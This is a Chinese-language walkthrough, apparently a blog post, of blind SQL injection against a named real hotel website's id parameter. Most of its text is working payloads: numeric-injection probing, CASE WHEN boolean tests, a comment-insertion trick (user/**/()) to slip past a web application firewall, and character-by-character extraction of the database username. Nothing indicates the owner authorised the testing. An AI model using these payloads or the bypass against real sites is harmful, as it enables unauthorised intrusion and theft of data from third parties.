1、首先这是一个国外的站。
话不多说上 url: https://www.hotelmodena.sk/index.php?id=1&lang=sk
2、然后找注入点发现id=1/1 id=1/0 回显不一样
说明什么,说明是数字型的注入,因为/1 /0在数据库里面被执行了,所以可以构造语句查询到数据库的敏感信息
Id=1/1
Id=1/0
3、数字型的注入,首先想到的就是我们的if()大佬
尝试了一下,啊这,看来if()大佬不行呀,下一个
4、这时候就该用我们的case+when试试,欸,不对劲。发现可以了
id=1/case+when+1=1+then+1+else+0+end
看看有没有回显,不等于试试看id=1/case+when+1!=1+then+1+else+0+end
我去有回显了,这不就是成功了
5、这不得拿出我们的截取函数substr(1,1,1),放进去,可以了,回显正常,美滋滋
这里是为了尝试,substr(1,1,1)这个函数在不在数据库里面执行,很显然执行了
6、所以接下来直接就盲注爆破user数据库用户名
1/case+when+substr(user(),1,1)=1+then+1+else+0+end
我去,发现不行,估计被拦截了
7、然后我转念一想,拦截user(),它可能是拦截user和(),让他们不能同时在一起
然后我就试一试user/**/(),目的就是为了让user不和()在一起 我可真是坏人
发现回显成功了,这不就是绕过了
然后看看他们有没有回显1/case+when+substr(user(),1,1)!=1+then+1+else+0+end
哦耶,成功了
8、最后直接爆破user用户名,爆破**位,点到为止
1/case+when+substr(user/**/(),1,1)!='1'+then+1+else+0+end
爆破出来发现是d和D,因为这个数据库不区分大小写的
9、这里还可以用其他的poc,大家可以发散一下思维
id=1/case+when+user/**/()+like+%27__________________________%27+then+1+else+0+end
总结:对于这个靶场,大家可以发散一下思维,对以后的绕waf有很大的帮助
这里面还有一个奇怪的事,你换一个edag的浏览器,if()函数就没有被拦截了
真奇怪
以下是用edag,if()大佬就可以用了,莫非这就是思维的发散行,可恶,被他装到了